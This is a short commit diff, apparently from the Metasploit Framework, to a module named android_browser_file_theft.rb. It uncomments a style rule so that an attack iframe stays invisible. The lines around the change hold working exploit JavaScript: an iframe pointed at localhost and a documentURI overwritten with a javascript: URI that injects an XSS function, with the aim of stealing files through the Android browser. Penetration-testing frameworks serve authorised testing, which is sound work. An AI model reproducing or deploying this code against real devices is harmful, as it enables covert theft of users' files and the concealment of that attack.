Actually hide the iframe.

Author: joevennix

modules/auxiliary/gather/android_browser_file_theft.rb

@@ -164,7 +164,7 @@ def exploit_js
 
       var brokenFrame = document.createElement('iframe');
       brokenFrame.src = 'http://localhost:100';
-      //brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
+      brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
       brokenFrame.onload = function() {
         brokenFrame.onload = null;
         document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';